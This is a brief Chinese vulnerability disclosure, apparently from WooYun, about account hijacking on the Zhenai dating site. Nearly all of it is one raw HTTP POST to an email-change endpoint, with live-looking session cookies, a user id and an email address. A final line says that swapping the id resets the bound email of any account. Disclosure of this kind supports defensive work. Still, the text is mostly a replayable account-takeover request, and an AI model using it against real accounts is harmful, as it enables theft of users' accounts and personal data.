珍愛網任意劫持他人賬號

 　　album.zhenai.com

POST /personal/ajaxChangeEmail.jsps HTTP/1.1 Host: album.zhenai.com Proxy-Connection: keep-alive Content-Length: 33 Accept: text/plain, */*; q=0.01 Origin: http://album.zhenai.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/25.0.1349.2 Safari/537.21 Content-Type: application/x-www-form-urlencoded Referer: http://album.zhenai.com/personal/[email protected] Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Cookie: sid=1kZXLJoxW6BVFDoXsnRy; SEARCHWORD=3; mid=%5E%7Emid%3D43998445%5E%7E; loginactiontime=%5E%7Eloginactiontime%3D1357958628099%5E%7E; sourceUrl=%5E%7EsourceUrl%3D%5E%7E; logininfo=%5E%7Elogininfo%3D43998445%5E%7E; rmpwd=%5E%7Eloginmode%3D%5E%7Elogininfo%3D43998445%5E%7E; otherinfo=%5E%7Eisnew%3D1%5E%7ElocalEmail%3D%5E%7E; urlkey=http%3A//register.zhenai.com/register/upLoadUserPhotoPre.jsps%3FregType%3Dphone%26towhere%3Dhttp%253A%252F%252Fprofile.zhenai.com%252Fpersonal%252FmymainPage.jsps %3Fr%3D0.9503279209305837; isEmailIntercept43998445=^~isEmail=yes^~; OrderDiscount43998445=^~hasDiscount=no^~; CHANNEL_FIRST_SEARCH=1; CHANNEL_FIRST_PAGE=1; infoprcent-43998445=55; isvalideEmail=%5E%7EvalideEmail%3D1%5E%7E; JSESSIONID=abcoeSWkDdmg8fU5nTSWt; lover=%5E%7Epage%3D2%5E%7Esize%3D1000%5E%7E; CHANNEL_PHOTO=0; CHANNEL=^~refererHost=^~channelId=40020^~subid=^~; bottomRemind=%5E%7EvisPhoto%3Dno%5E%7E; p=%5E%7Eworkcity%3D10102014%5E%7EbridgeCity%3D0%5E%7Eloginname%3D2013-01-12+10%3A43%3A48.0%5E%7Elh%3D43998445%5E%7Esex%3D0%5E%7Eemail%3D%5E%7Enickname%3D%E4%BC%9A%E5%91%9843998445%5E %7Emt%3D1%5E%7Emage%3D23%5E%7Edp%3D%5E%7Edby%3D3b7f05954d0b4889%5E%7Eemail%3Dlandaozi%40126.com%5E%7E   logininfo.email=root%40wooyun.org

　　修改id 43998445即可重置任意綁定郵箱